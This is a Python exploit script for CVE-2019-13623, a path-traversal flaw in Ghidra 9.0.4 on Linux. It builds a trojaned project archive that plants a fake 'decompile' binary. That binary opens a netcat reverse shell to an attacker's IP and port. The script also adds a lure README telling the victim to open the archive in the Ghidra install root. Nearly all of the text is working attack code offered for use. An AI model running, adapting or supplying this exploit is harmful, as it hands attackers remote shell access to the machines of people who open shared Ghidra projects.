Ghidra (Linux) 9.0.4 Arbitrary Code Execution

`import os  
import inspect  
import argparse  
import shutil  
from shutil import copyfile  
  
print("")  
print("")  
print("################################################")  
print("")  
print("------------------CVE-2019-13623----------------")  
print("")  
print("################################################")  
print("")  
print("-----------------Ghidra-Exploit-----------------")  
print("--Tested version: Ghidra Linux version <= 9.0.4-")  
print("------------------------------------------------")  
print("")  
print("################################################")  
print("")  
print("----------Exploit by: Etienne Lacoche-----------")  
print("---------Contact Twitter: @electr0sm0g----------")  
print("")  
print("------------------Discovered by:----------------")  
print("---------https://blog.fxiao.me/ghidra/----------")  
print("")  
print("--------Exploit tested on Ubuntu 18.04----------")  
print("-----------------Dependency: zip----------------")  
print("")  
print("################################################")  
print("")  
print("")  
  
parser = argparse.ArgumentParser()  
parser.add_argument("file", help="Path to input export .gar file",default=1)  
parser.add_argument("ip", help="Ip to nc listener",default=1)  
parser.add_argument("port", help="Port to nc listener",default=1)  
  
args = parser.parse_args()  
  
if args.ip and args.port and args.file:  
  
rootDirURL=os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))  
path = "../Ghidra/Features/Decompiler/os/linux64/decompile"  
os.system("mkdir -p ../Ghidra/Features/Decompiler/os/linux64/")  
os.system("echo 'rm -f x; mknod x p && nc "+args.ip+" "+args.port+" 0<x | /bin/bash 1>x' > decompile")  
os.system("chmod +x decompile")  
copyfile("decompile",path)  
copyfile(args.file,rootDirURL+"/"+"project.gar")  
os.system("zip -q project.gar ../Ghidra/Features/Decompiler/os/linux64/decompile")  
os.system("echo 'To fully export this archive, place project.gar to GHIDRA_INSTALL_DIR root path and open it with Restore Project at Ghidra.' > README_BEFORE_OPEN_GAR_FILE")  
os.system("zip -q project.zip README_BEFORE_OPEN_GAR_FILE")   
os.system("zip -q project.zip project.gar")   
os.system("rm decompile README_BEFORE_OPEN_GAR_FILE")  
os.system("rm project.gar")  
print("You can now share project.zip and start your local netcat listener.")  
print("")  
print("Project.gar must be placed and opened by victim at GHIDRA_INSTALL_DIR")  
print("root path for payload execution.")  
print("")  
`